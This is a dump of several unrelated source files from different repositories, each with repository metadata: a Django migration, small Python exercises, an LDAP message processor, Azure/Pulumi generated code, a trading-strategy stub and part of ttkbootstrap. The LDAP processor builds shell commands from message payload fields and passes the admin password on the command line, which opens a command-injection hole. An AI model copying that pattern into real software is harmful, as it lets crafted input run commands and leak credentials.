6952a269811979a6c877748716baef5563302506
1f582d84ddcedae690aaeecfad0ae61ef1d06c04
/todoo/migrations/0001_initial.py
a8db9d73130bdbf39365786b7b60c80e12f4a9d7
[]
no_license
rgupta1997/Todo
7071901f194094285f06d1124814f60d2798ed2c
952736c2df9b6f02088d75870a5afa55ac214484
refs/heads/master
2020-08-11T17:58:57.859260
2019-10-12T08:15:29
2019-10-12T08:15:29
214,605,188
0
0
null
null
null
null
UTF-8
Python
false
false
1,106
py
# Generated by Django 2.2.6 on 2019-10-12 04:45 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Todoo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('desc', models.CharField(max_length=500)), ('title', models.CharField(max_length=200)), ('status', models.CharField(choices=[('created', 'Created'), ('inprogress', 'inprogress'), ('done', 'Done')], max_length=100)), ('created_time', models.DateTimeField(auto_now_add=True)), ], ), migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('f_name', models.CharField(max_length=20)), ('l_name', models.CharField(max_length=20)), ], ), ]
[ "javeda3740@gmail.com" ]
javeda3740@gmail.com
887ce43213adcc15de03a4446b22f460363cfdd7
2e6864be933249820a57fbfd5e1dc1b5b79ae6ea
/letter-count.py
e08f7baec1404676fcb01a9d8e6b9ad99f7da266
[]
no_license
dscheiber/Python-Automate-The-Boring-Stuff
7eadd205080415966ed60ec0ba8c8d5c95a10849
719c58b5cad23f210512d7c3bd8d1498197008dc
refs/heads/main
2023-08-31T16:09:16.739239
2021-10-04T19:38:10
2021-10-04T19:38:10
409,700,203
1
0
null
null
null
null
UTF-8
Python
false
false
1,645
py
#this is a letter counter described in section 7 of Automate the Boring Stuff #made before watching the example import datetime beginTime = datetime.datetime.now() ##for time needed message = "This is a message for all the letters within to be counted" listMessage = list(message.lower().replace(" ", "")) #converts message string to list so i can use list methods messageLetters = {} #this is a dict of letters and counts in the message count = 0 #this is a counter to be used to report count and change the message while len(listMessage) > 0: workingLetter = listMessage[0] count = listMessage.count(workingLetter) #counts the occurrence of first index in the message for i in range(count): listMessage.remove(workingLetter) #completely removes i from the message so that effort is not duplicated messageLetters.update({workingLetter:count}) #returns the working letter and its count print(messageLetters) endTime = datetime.datetime.now() print(str(endTime - beginTime)) ##how quickly this executes ##### #####this is the actual solution print(' - - - actual solution - - - - \n') beginTime = datetime.datetime.now() ##for time needed message = "This is a message for all the letters within to be counted" count = {} for i in message.lower(): count.setdefault(i, 0) count[i] = count[i]+1 print(count) endTime = datetime.datetime.now() print(str(endTime - beginTime)) ##how quickly this executes ###what was learned: it's a good idea to understand the built-in methods because they are probably faster than a homebrew solution. ###the actual solution was apprx 2x the speed of my homebrew solution
[ "dscheiber@live.com" ]
dscheiber@live.com
3a6025a1472baad52a204a8452245c222ea5c974
e7d9b137dbca268323296addbd568813b60b7717
/org/swallow_labs/model/CapsuleProcessor.py
a26aa17a680ed26dccd3dea8b97561fb0ef5054a
[]
no_license
SwallowLabsTeam/DeviceSmartScreen
9aac42a7a1b9b60ea109a95aa3a60b7e2bd55ef0
fbe2f802d422997280c0c409a6da7dafd8dccbb8
refs/heads/master
2021-01-22T03:05:12.380314
2017-02-22T09:47:06
2017-02-22T09:47:06
81,094,268
0
0
null
null
null
null
UTF-8
Python
false
false
14,342
py
from org.swallow_labs.model.Capsule import Capsule from org.swallow_labs.tool.CapsuleSort import CapsuleSort from org.swallow_labs.model.LdapParam import * import os import json from calendar import monthrange from org.swallow_labs.model.Client import * from org.swallow_labs.model.CapsuleACK import * from org.swallow_labs.tool.CapsulePriority import * import org.swallow_labs.model.RunClient import org.swallow_labs.model.SocketClient import org.swallow_labs.model.ReservationHandler from subprocess import * from org.swallow_labs.model.TreeGenerator import * from org.swallow_labs.model.ReservationHandler import * class CapsuleProcessor: """ Class creating a CapsuleProcessor object G{classtree} DESCRIPTION =========== Class that treat capsule @param cpl : The capsule that will be treated @type cpl : Capsule """ ldap_param = LdapParam() # load ldap connexion param list_capsuleACK_all_msg = [] # list capsuleACK_all_msg def __init__(self, cpl): """ : """ self.cpl = cpl # initialize the capsule that will be treated def treat(self,obj_ACK): """ DESCRIPTION =========== Method that treat a capsule """ if self.cpl.get_sort() == CapsuleSort.LDAP_ADD_MSG: # Test the sort of capsule self.ladp_add_sendACK(obj_ACK) # Run the method that treat the LDAP_ADD_MSG capsule elif self.cpl.get_sort() == CapsuleSort.LDAP_MOD_MSG: # Test the sort of capsule self.ladp_mod_sendACK(obj_ACK) # Run the method that treat the LDAP_MOD_MSG capsule elif self.cpl.get_sort() == CapsuleSort.LDAP_DEL_MSG: # Test the sort of capsule self.ladp_del_sendACK(obj_ACK) # Run the method that treat the LDAP_DEL_MSG capsule elif self.cpl.get_sort() == CapsuleSort.TREE_GENERATOR: # Test the sort of capsule self.tree_generator(obj_ACK) # Run the method that treat the TREE_GENERATOR capsule elif self.cpl.get_sort() == CapsuleSort.RESERVATION_MESSAGE: # Test the sort of capsule self.reservation(obj_ACK) # Run the method that treat the RESERVATION capsule def verif_msg(self): """ DESCRIPTION =========== Method that treat a LDAP_ADD_MSG capsule """ id_capACK= self.cpl.get_id_capsule(); #id for capsule ACK print(id_capACK) b = False print("list:",self.list_capsuleACK_all_msg) for h in self.list_capsuleACK_all_msg: if h.id_capsule == id_capACK: b = True obj_ACK = h # to verifie existens of capsule in the list of capsuleADD result = None if(b): if(obj_ACK.status == "NO" ): #test of the capsule is not treated #self.ladp_add_sendACK(obj_ACK) result = obj_ACK else: # new capsule to treat obj_capsuleACK = CapsuleACK(id_capACK,"NO") self.list_capsuleACK_all_msg.append(obj_capsuleACK) # Add capsule Ack status in the status list # self.ladp_add_sendACK(obj_capsuleACK) result = obj_capsuleACK # Do the Ldap-Add process and send ACK return result def ladp_add_sendACK(self,objACK): """ DESCRIPTION =========== Method to add ldap new entry and send ACK """ pld = self.cpl.get_payload() # Get capsule payload add_file = 'ldap_add_file.ldif' # Specify the name of file that contain entry information self.ldap_file_creator_add(add_file, pld) # Creation of the ldap file using capsule payload information admin = self.ldap_param.admin password = self.ldap_param.password # Load ldap param cmd = "ldapadd -h 10.10.10.2 -D " + '"' + str(admin) + '"' + " -w " + password + " -f ./" + str(add_file) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) # execute the ldap command that will add the new entry in the ldap tree using ldap_add_file.ldif output = p.stdout.read() str1 = str(output) print("str111 ",str1) #Load the command output if (str1.find('Already exists') > 0): # Test if the entry is aleady exist f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" self.sendACK(CapsuleSort.LDAP_ADD_MSG_ACK_NEGATIF, self.cpl.id_capsule, self.cpl.id_sender) # send negatif ACk elif (str1.find('adding new entry') > 0): # Test if the entry is added succeful f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" # Change status capsule Ack self.sendACK(CapsuleSort.LDAP_ADD_MSG_ACK_POSITIF, self.cpl.id_capsule, self.cpl.id_sender) # send positif ACk else: self.log_ACK_error(str1) # loggin errors os.remove("./" + str(add_file)) # delete ldap_add_file def ladp_mod_sendACK(self,objACK): """ DESCRIPTION =========== Method to add ldap Modify entry and send ACK """ pld = self.cpl.get_payload() # Get capsule payload mod_file = 'ldap_mod_file.ldif' # Specify the name of file that contain the modification information self.ldap_file_creator_mod(mod_file, pld) # Creation of the ldap file using capsule payload information admin = self.ldap_param.admin password = self.ldap_param.password # Load ldap param cmd = "ldapmodify -h 10.10.10.2 -D " + '"' + str(admin) + '"' + " -w " + password + " -f ./" + str(mod_file) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) # execute the ldap command that will Modify the entry in the ldap tree using ldap_mod_file.ldif output = p.stdout.read() str1 = str(output) # Load the command output if (str1.find('No such object') > 0): # Test if the entry is aleady exist self.sendACK(CapsuleSort.LDAP_MOD_MSG_ACK_NEGATIF, self.cpl.id_capsule, self.cpl.id_sender) #send negatif ACK elif (str1.find('modifying entry') > 0): # Test if the entry is modify succeful f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" # Change status capsule Ack self.sendACK(CapsuleSort.LDAP_MOD_MSG_ACK_POSITIF, self.cpl.id_capsule, self.cpl.id_sender) #send positif ACK else: self.log_ACK_error(str1) # loggin errors os.remove("./" + str(mod_file)) # delete ldap_mod_file def ladp_del_sendACK(self, objACK): """ DESCRIPTION =========== Method to add ldap delete entry and send ACK """ pld = self.cpl.get_payload() # Get capsule payload entry = '"' + str(pld["dn"]) + '"' print("entry: ", entry) # get the dn of entry that will be deleted admin = self.ldap_param.admin password = self.ldap_param.password # Load ldap param cmd = "ldapdelete -h 10.10.10.2 -D " + '"' + str(admin) + '"' + " -w " + password + " -v " + entry p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) # execute the ldap command that will delete the entry in the ldap output = p.stdout.read() str1 = str(output) # Load the command output if (str1.find('No such object') > 0): # Test if the object is aleady exist self.sendACK(CapsuleSort.LDAP_DEL_MSG_ACK_NEGATIF, self.cpl.id_capsule, self.cpl.id_sender) # send negatif ACK elif(str1.find('eleting entry') > 0): # Test if the entry is deleted succeful f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" # Change status capsule Ack self.sendACK(CapsuleSort.LDAP_DEL_MSG_ACK_POSITIF, self.cpl.id_capsule, self.cpl.id_sender) # send positif ACK else: self.log_ACK_error(str1) # loggin errors @staticmethod def ldap_file_creator_add(file, pld): """ DESCRIPTION =========== This method create file that contain ldap entry information @param file: the file name @param pld: capsule payload that will be copied in the file @type file: str @type pld : dict """ f = open(file, 'w') for h in pld["att"]: if type(pld[str(h)]) == list: for k in pld[str(h)]: f.write(h + ":" + k + "\n") else: f.write(str(h) + ':' + str(pld[str(h)]) + "\n") # write in the file the capsule payload that contains information about the new ldap entry f.close() @staticmethod def ldap_file_creator_mod(file, pld): """ DESCRIPTION =========== This method create file that contain ldap entry information @param file: the file name @param pld: capsule payload that will be copied in the file @type file: str @type pld : dict """ f = open(file, 'w') for h in pld["att"]: if type(pld[str(h)]) == list: for k in pld[str(h)]: f.write(str(h) + ":" + str(k )+ "\n") f.write(k + ":" + pld[str(k)] + "\n") f.write("-\n") else: f.write(str(h) + ':' + str(pld[str(h)]) + "\n") # write in the file the capsule payload that contains information about the new ldap entry f.close() def sendACK(self,capsule_sort,id_capsule,id_sender): """ DESCRIPTION =========== This method will send ack @param capsule_sort: the capsule sort @param id_sender: The id sender @param id_capsule: The id of the capsule @type capsule_sort: CapsuleSort @type id_sender : int @type id_capsule : int """ capsule = Capsule(org.swallow_labs.model.RunClient.client_pull.id_client, CapsuleType.PAYLOAD) # initialize capsule capsule.set_yes_ACK() capsule.set_payload({'id': id_capsule}) capsule.set_id_receiver(str(id_sender)) capsule.set_sort(capsule_sort) capsule.set_priority(CapsulePriority.INFORMATION_DEVICE_MSG) # Load information in the capsule org.swallow_labs.model.RunClient.client_pull.push(capsule) # send Capsule def log_ACK_error(self, error_msg): """ DESCRIPTION =========== This method will log treatment error @param error_msg: the error message @type error_msg: str """ if (error_msg.find('contact LDAP server') > 0): print("b1") print(error_msg) org.swallow_labs.model.SocketClient.my_logger.log_sendACK_error_server_down(str(self.cpl.id_capsule), str( org.swallow_labs.model.RunClient.client_pull.id_client)) # add error log when the LADP server is down else: if (error_msg.find('not found') > 0): print("b2") org.swallow_labs.model.SocketClient.my_logger.log_sendACK_error_request(str(self.cpl.id_capsule), str( org.swallow_labs.model.RunClient.client_pull.id_client)) # add error log when we have an error syntax form the server else: if (error_msg == 'b\'\''): print("b3") org.swallow_labs.model.SocketClient.my_logger.log_sendACK_error_structure(str(self.cpl.id_capsule), str( org.swallow_labs.model.RunClient.client_pull.id_client)) # add error log when we have an error syntax form the web def tree_generator(self,objACK): """ DESCRIPTION =========== This method will create new repositorys """ tree = TreeGenerator() print( tree.generate_set_list( tree.generate_list([self.cpl]))) tree.planing_file(str(self.cpl.get_payload()["segment_duration_min"])) tree.create_days( tree.generate_set_list( tree.generate_list([self.cpl])),str(self.cpl.get_payload()["segment_duration_min"])) # Test if the entry is deleted succeful f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" # Change status capsule Ack self.sendACK(CapsuleSort.TREE_GENERATOR_POSITIF, self.cpl.id_capsule, self.cpl.id_sender) # send positif ACK def reservation(self,objACK): """ DESCRIPTION =========== This method will create new reservations """ reserve = ReservationHandler() print(type(self.cpl.get_payload())) if(type(self.cpl.get_payload())==list): liste=self.cpl.get_payload() else: liste = [self.cpl.get_payload()] reserve.book_multiple_segment(liste) # Test if the entry is deleted succeful f = self.list_capsuleACK_all_msg.index(objACK) self.list_capsuleACK_all_msg[f].status = "YES" # Change status capsule Ack self.sendACK(CapsuleSort.RESERVATION_MESSAGE_POSITIF, self.cpl.id_capsule, self.cpl.id_sender) # send positif ACK
[ "root@prototype.swallow.tn" ]
root@prototype.swallow.tn
9134f39efb136d956a47a5087adaaab05f945e15
271d8edf6d490fc83cf8d35e096a6c2c40439328
/controller/__init__.py
5d563b34e8447708f64b954f36f5989ff50aba11
[]
no_license
dev-siot/mju_server
d2702797a7b41b70fe52f68c4fbebb0921439eb9
6f65d962d4a857dc7b9daa52413a7d692206e9e5
refs/heads/master
2021-06-08T22:49:11.235424
2016-11-15T17:37:36
2016-11-15T17:37:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
303
py
from flask import Flask from config.mjudb import mjudb app = Flask(__name__) db = mjudb().setDB(app) from controller import users, index, message, path app.register_blueprint(users.users) app.register_blueprint(index.index) app.register_blueprint(message.message) app.register_blueprint(path.path)
[ "wwww432@lycos.co.kr" ]
wwww432@lycos.co.kr
c6183f4770320865c91b4641382a01bc7a6362c1
e35489e147c296b1911a99b7f923186b1a8523dc
/cluster.py
4e93f93df3e5ab0287d59bbd0e633df6238bc927
[]
no_license
arkaaloke/DDRF
efd4a3b8a26f84d76cda6ff502a966d87b8d4b8d
524a287b2fc40695a31cdbfa4e18a7be45486f4d
refs/heads/master
2020-06-04T04:13:51.249308
2015-02-25T00:48:29
2015-02-25T00:48:29
27,834,360
0
0
null
null
null
null
UTF-8
Python
false
false
1,381
py
import os import sys from machine import * class Cluster: def __init__(self, machineConfig, machinesPerType, minCpu, minMem, jobSizeThreshold , smallJobThreshold, largeJobThreshold ): self.numMachines = 0 self.machines = [] self.machinesByType = {} self.cpuUsage = 0 self.memUsage = 0 self.totCpu = 0 self.totMem = 0 self.jobSizeThreshold = jobSizeThreshold self.machineConfig = machineConfig self.machinesPerType = machinesPerType self.freeMiceMachines = [] print "Creating machines " for i in range(len(machinesPerType)): self.numMachines += machinesPerType[i] mem = machineConfig[i][0] cpu = machineConfig[i][1] self.machinesByType[i] = [] for j in range( machinesPerType[i] ): m = Machine(cpu, mem, minCpu, minMem, self , jobSizeThreshold, smallJobThreshold, largeJobThreshold ) self.machines.append(m) self.machinesByType[i].append(m) self.totCpu += cpu self.totMem += mem self.freeMiceMachines.append(m) print "Created : ", len(self.machines) , "machines" print "Tot mem : " , self.totMem, "Tot cpu : ", self.totCpu def getJobSizeThreshold(self): return self.jobSizeThreshold def getCpuUtil(self): return float(cpuUsage) / float(totCpu) def getMemUtil(self): return float(memUsage) / float(totMem) def getCpuUsage(self): return cpuUsage def getMemUsage(self): return memUsage
[ "arkaaloke@gmail.com" ]
arkaaloke@gmail.com
f59f16016064cd4c3ddd59f881f9a6476ad24081
48e124e97cc776feb0ad6d17b9ef1dfa24e2e474
/sdk/python/pulumi_azure_native/costmanagement/get_report.py
7c8cc276d1de60d7807ffa3a2827ceec5adf3dcb
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
bpkgoud/pulumi-azure-native
0817502630062efbc35134410c4a784b61a4736d
a3215fe1b87fba69294f248017b1591767c2b96c
refs/heads/master
2023-08-29T22:39:49.984212
2021-11-15T12:43:41
2021-11-15T12:43:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,171
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs __all__ = [ 'GetReportResult', 'AwaitableGetReportResult', 'get_report', 'get_report_output', ] @pulumi.output_type class GetReportResult: """ A report resource. """ def __init__(__self__, definition=None, delivery_info=None, format=None, id=None, name=None, schedule=None, tags=None, type=None): if definition and not isinstance(definition, dict): raise TypeError("Expected argument 'definition' to be a dict") pulumi.set(__self__, "definition", definition) if delivery_info and not isinstance(delivery_info, dict): raise TypeError("Expected argument 'delivery_info' to be a dict") pulumi.set(__self__, "delivery_info", delivery_info) if format and not isinstance(format, str): raise TypeError("Expected argument 'format' to be a str") pulumi.set(__self__, "format", format) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if schedule and not isinstance(schedule, dict): raise TypeError("Expected argument 'schedule' to be a dict") pulumi.set(__self__, "schedule", schedule) if tags and not isinstance(tags, dict): raise TypeError("Expected argument 'tags' to be a dict") pulumi.set(__self__, "tags", tags) if type and not isinstance(type, str): raise TypeError("Expected argument 'type' to be a str") pulumi.set(__self__, "type", type) @property @pulumi.getter def definition(self) -> 'outputs.ReportDefinitionResponse': """ Has definition for the report. """ return pulumi.get(self, "definition") @property @pulumi.getter(name="deliveryInfo") def delivery_info(self) -> 'outputs.ReportDeliveryInfoResponse': """ Has delivery information for the report. """ return pulumi.get(self, "delivery_info") @property @pulumi.getter def format(self) -> Optional[str]: """ The format of the report being delivered. """ return pulumi.get(self, "format") @property @pulumi.getter def id(self) -> str: """ Resource Id. """ return pulumi.get(self, "id") @property @pulumi.getter def name(self) -> str: """ Resource name. """ return pulumi.get(self, "name") @property @pulumi.getter def schedule(self) -> Optional['outputs.ReportScheduleResponse']: """ Has schedule information for the report. """ return pulumi.get(self, "schedule") @property @pulumi.getter def tags(self) -> Mapping[str, str]: """ Resource tags. """ return pulumi.get(self, "tags") @property @pulumi.getter def type(self) -> str: """ Resource type. """ return pulumi.get(self, "type") class AwaitableGetReportResult(GetReportResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetReportResult( definition=self.definition, delivery_info=self.delivery_info, format=self.format, id=self.id, name=self.name, schedule=self.schedule, tags=self.tags, type=self.type) def get_report(report_name: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetReportResult: """ A report resource. API Version: 2018-08-01-preview. :param str report_name: Report Name. """ __args__ = dict() __args__['reportName'] = report_name if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-native:costmanagement:getReport', __args__, opts=opts, typ=GetReportResult).value return AwaitableGetReportResult( definition=__ret__.definition, delivery_info=__ret__.delivery_info, format=__ret__.format, id=__ret__.id, name=__ret__.name, schedule=__ret__.schedule, tags=__ret__.tags, type=__ret__.type) @_utilities.lift_output_func(get_report) def get_report_output(report_name: Optional[pulumi.Input[str]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetReportResult]: """ A report resource. API Version: 2018-08-01-preview. :param str report_name: Report Name. """ ...
[ "noreply@github.com" ]
bpkgoud.noreply@github.com
25d88fb96aae601928210507341eda653f5208da
02468531b67787532600a27b5a1c1b2db5daf11b
/bullbearetfs/strategies/balatchi.py
cefe6abecab4866b2b029ae15b8f27fc5744202a
[]
no_license
henrimeli/invest2020
d284af960b34a6ccc830524826fd1be9271168bf
eb699fd3c70ab0e1cffc56cb86855f6a22849aed
refs/heads/master
2023-01-31T14:54:22.451146
2020-12-15T08:44:06
2020-12-15T08:44:06
312,067,444
0
1
null
null
null
null
UTF-8
Python
false
false
6,825
py
from bullbearetfs.strategy.strategybase import EggheadBaseStrategy """ TODO: Describe the Module here ... List the classes of the module here """ logger = logging.getLogger(__name__) class BamendjinStrategy(EggheadBaseStrategy): def __init__(self,robot): self.robot = robot def __str__(self): return "{0}".format('Hello, this is the Bamendjin Strategy') # # The purpose of this section is to capture any information that might need to be updated to make # buy or sell decision with the most accurate data. # updating Orders from the Brokerate happen here. # Recording of Market activities? def setupStrategy(self): #Goes to Alpaca to find if there are updates to Orders. Place them in the database. self.sell_bamendjinda() self.robot.updateOrders() # # This area manipulates the sell of securities on the assembly line. # The assembly line consists of the following parts: # StableRoundTrips:: Hold all RoundTrips that are currently stable. # TransitionalCandidatesRoundTrips: Holds roundstrips that are about to be moved to Transitions # InTransitionRoundTrips : holds roundtrips that are about to be moved to # CompletedRoundTrips: These are completed Roundtrips. # def sell(self): entries = self.getAllBullishRoundtrips() bull_candidates = [] bear_candidates = [] completion_candidates = [] in_transition = [] for x in entries: rt = RoundTrip(robot=self,root_id=x.getOrderClientIDRoot()) if rt.isBullTransitionalCandidate(): bull_candidates.append(rt) if rt.isBearTransitionalCandidate(): bear_candidates.append(rt) if rt.isCompletionCandidate(regression_factor=1): age = rt.getTimeSpentInTransition() print("Completion Candidates Found: {0} Age={1}".format(rt,age)) completion_candidates.append(rt) print ("Candidates: To Bulls: {0}. To Bears:{1}. To Completion: {2}".format(len(bull_candidates),len(bear_candidates),len(completion_candidates))) # # Only perform one single operation at a time. # if len(completion_candidates) >=1: print("There are {0} candidates for completion .... processing.".format(len(completion_candidates))) completion_candidates.sort(key=lambda rt:rt.getTransitionalDeltaValue(),reverse=True) best_candidate = completion_candidates[0] self.moveToCompletion(candidate=best_candidate) elif (self.getNumberOfBearsInTransition() + self.getNumberOfBullsInTransition()) >= 5: print ("we have reached the max number of items in Transition. Store this time and place an emergency sale strategy rule in place") #TODO: Replace with below if needed. def getAllInTransition(self): #return self.getInTransitionRoundTrips().getAllInTransitionEntries() completion_candidates = self.getAllInTransition() completion_candidates.sort(key=lambda rt:rt.getTransitionalDeltaValue(),reverse=True) candidate = completion_candidates[0] age_candidates = self.getAllInTransition() age_candidates.sort(key=lambda rt:rt.getTimeSpentInTransition(),reverse=False) age_candidate = age_candidates[0] print("Best Candidate: {0} Age of Blockage: {1}".format(candidate.getTransitionalDeltaValue(),age_candidate.getTimeSpentInTransition())) if (age_candidate.getTimeSpentInTransition() > 180) and \ (candidate.getAgeSincePurchase() > 24*60) and \ (candidate.getTransitionalDeltaValue()>0): self.moveToCompletion(candidate) elif self.ageSinceLastPositiveDeltaValue()>180: self.moveToCompletion(candidate) elif abs(self.getNumberOfBearsInTransition()-self.getNumberOfBullsInTransition()) > 3: #TODO: Externalize 3 print("There is an inbalance in the Assembly line. Recreate parity by selling at loss.") if (self.getNumberOfBullsInTransition() > self.getNumberOfBearsInTransition()): candidate_bear = self.getTheBestStableBearByValue() print("The best bear was found: {0}".format(candidate_bear)) self.moveToBearishTransition(candidate_bear) else: candidate_bull = self.getTheBestStableBullByValue() print("The best bull was found: {0}".format(candidate_bull)) self.moveToBullishTransition(candidate_bull) elif len(bear_candidates) >=1: print("There are candidates for Bearish processing ....") bear_candidates.sort(key=lambda rt:rt.getRoundtripUnrealizedValue(),reverse=True) self.moveToBullishTransition(candidate=bear_candidates[0]) elif len(bull_candidates) >=1: print("There are candidates for Bullish processing ...") bull_candidates.sort(key=lambda rt:rt.getRoundtripUnrealizedValue(),reverse=True) self.moveToBearishTransition(candidate=bull_candidates[0]) """ completed = CompletedRoundTrips(robot=self) completed.printCompletionReport() transitions = InTransitionRoundTrips(robot=self) self.setMinimumEntriesForStrategy(value=5) bulls_ratio = 3 bears_ratio = 1 if not transitions.isEmpty(): completion_c = CompletionCandidateRoundtrips(robot=self) print("Looking for winner for completion") rationed_winner = completion_c.getRationedInTransitionWinners(bulls=bulls_ratio, bears =bears_ratio) if rationed_winner.matchesRationedCompletionTarget(): print("Found a winner in Transition. ") for x in rationed_winner.winning_bears: self.moveToCompletion(x) for y in rationed_winner.winning_bulls: self.moveToCompletion(y) else: print("Winner is not good enough. {0:,.2f}".format(rationed_winner.getRationedPerformance())) #There is a mimimum of entries required before we start trading. stable_box = StableRoundTrips(robot=self) if stable_box.getStableSize() < self.getMinimumEntriesForStrategy(): return if transitions.getInTransitionSize() > 0: transitions.printInTransitionReport() total_ratio = bulls_ratio + bears_ratio if not transitions.isFull(): print("Finding best candidate inTransition") transitional = TransitionalCandidateRoundTrips(robot=self) rationed_winner = transitional.getRationedWinningStable(bulls=(total_ratio - bulls_ratio), bears=(total_ratio - bears_ratio)) if rationed_winner.matchesRationedInTransitionTarget(): print("Found a winner in Stable. winning Bears = {0}. Winning Bulls = {1}".format(len(rationed_winner.winning_bears),len(rationed_winner.winning_bulls))) for x in rationed_winner.winning_bears: self.moveToBearishTransition(x) for y in rationed_winner.winning_bulls: self.moveToBullishTransition(y) #self.moveToBullishTransition(winner.winning_bull) #self.moveToBearishTransition(winner.winning_bear) """
[ "bepanda@gmail.com" ]
bepanda@gmail.com
fe975b8750b38a7a2c105c4e21d7f5071b0a8231
1a29ebacd24054a7144d2be25bf162b6abe25088
/ttkbootstrap/__init__.py
33ef836e9064b39b3683c60709e7e9f255dd2e45
[]
no_license
Ganjaboy3942/OpenInWSL-Source
b703cc621ea5b31ceefa16f6a1e5fe4d8eca1b80
802315062c61ff712d1061704882d097ca60e73f
refs/heads/main
2023-08-06T05:55:12.835874
2021-09-24T17:33:28
2021-09-24T17:33:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
144,307
py
""" Why does this project exist? ============================ The purpose of this project is create a set of beautifully designed and easy to apply styles for your tkinter applications. Ttk can be very time-consuming to style if you are just a casual user. This project takes the pain out of getting a modern look and feel so that you can focus on designing your application. This project was created to harness the power of ttk's (and thus Python's) existing built-in theme engine to create modern and professional-looking user interfaces which are inspired by, and in many cases, whole-sale rip-off's of the themes found on Bootswatch_. Even better, you have the abilty to :ref:`create and use your own custom themes <tutorial:create a new theme>` using TTK Creator. A bootstrap approach to style ============================= Many people are familiar with bootstrap for web developement. It comes pre-packaged with built-in css style classes that provide a professional and consistent api for quick development. I took a similar approach with this project by pre-defining styles for nearly all ttk widgets. This makes is very easy to apply the theme colors to various widgets by using style declarations. If you want a button in the `secondary` theme color, simply apply the **secondary.TButton** style to the button. Want a blue outlined button? Apply the **info.Outline.TButton** style to the button. What about the old tkinter widgets? =================================== Some of the ttk widgets utilize existing tkinter widgets. For example: there is a tkinter popdown list in the ``ttk.Combobox`` and a legacy tkinter widget inside the ``ttk.OptionMenu``. To make sure these widgets didn't stick out like a sore thumb, I created a ``StyleTK`` class to apply the same color and style to these legacy widgets. While these legacy widgets are not necessarily intended to be used (and will probably not look as nice as the ttk versions when they exist), they are available if needed, and shouldn't look completely out-of-place in your ttkbootstrap themed application. :ref:`Check out this example <themes:legacy widget styles>` to see for yourself. .. _Bootswatch: https://bootswatch.com/ """ import colorsys import importlib.resources import json from pathlib import Path from tkinter import ttk from PIL import ImageTk, Image, ImageDraw, ImageFont class Style(ttk.Style): """A class for setting the application style. Sets the theme of the ``tkinter.Tk`` instance and supports all ttkbootstrap and ttk themes provided. This class is meant to be a drop-in replacement for ``ttk.Style`` and inherits all of it's methods and properties. Creating a ``Style`` object will instantiate the ``tkinter.Tk`` instance in the ``Style.master`` property, and so it is not necessary to explicitly create an instance of ``tkinter.Tk``. For more details on the ``ttk.Style`` class, see the python documentation_. .. code-block:: python # instantiate the style with default theme *flatly* style = Style() # instantiate the style with another theme style = Style(theme='superhero') # instantiate the style with a theme from a specific themes file style = Style(theme='custom_name', themes_file='C:/example/my_themes.json') # available themes for theme in style.theme_names(): print(theme) .. _documentation: https://docs.python.org/3.9/library/tkinter.ttk.html#tkinter.ttk.Style """ def __init__(self, theme='flatly', themes_file=None, *args, **kwargs): """ Args: theme (str): the name of the theme to use at runtime; *flatly* by default. themes_file (str): Path to a user-defined themes file. Defaults to the themes file set in ttkcreator. """ super().__init__(*args, **kwargs) self._styler = None self._theme_names = set(self.theme_names()) self._theme_objects = {} # used to prevent garbage collection of theme assets when changing themes at runtime self._theme_definitions = {} self._load_themes(themes_file) # load selected or default theme self.theme_use(themename=theme) @property def colors(self): theme = self.theme_use() if theme in list(self._theme_names): return self._theme_definitions.get(theme).colors else: return Colors() def _load_themes(self, themes_file=None): """Load all ttkbootstrap defined themes Args: themes_file (str): the path of the `themes.json` file. """ # pre-defined themes json_data = importlib.resources.read_text('ttkbootstrap', 'themes.json') builtin_themes = json.loads(json_data) # application-defined or user-defined themes if themes_file is None: themes_file = builtin_themes['userpath'] user_path = Path(themes_file) if user_path.exists(): with user_path.open(encoding='utf-8') as f: user_themes = json.load(f) else: user_themes = {'themes': []} # create a theme definition object for each theme, this will be used to generate # the theme in tkinter along with any assets at run-time theme_settings = {'themes': builtin_themes['themes'] + user_themes['themes']} for theme in theme_settings['themes']: self.register_theme( ThemeDefinition( name=theme['name'], themetype=theme['type'], font=theme['font'], colors=Colors(**theme['colors']))) def register_theme(self, definition): """Registers a theme definition for use by the ``Style`` class. This makes the definition and name available at run-time so that the assets and styles can be created. Args: definition (ThemeDefinition): an instance of the ``ThemeDefinition`` class """ self._theme_names.add(definition.name) self._theme_definitions[definition.name] = definition def theme_use(self, themename=None): """Changes the theme used in rendering the application widgets. If themename is None, returns the theme in use, otherwise, set the current theme to themename, refreshes all widgets and emits a ``<<ThemeChanged>>`` event. Only use this method if you are changing the theme *during* runtime. Otherwise, pass the theme name into the Style constructor to instantiate the style with a 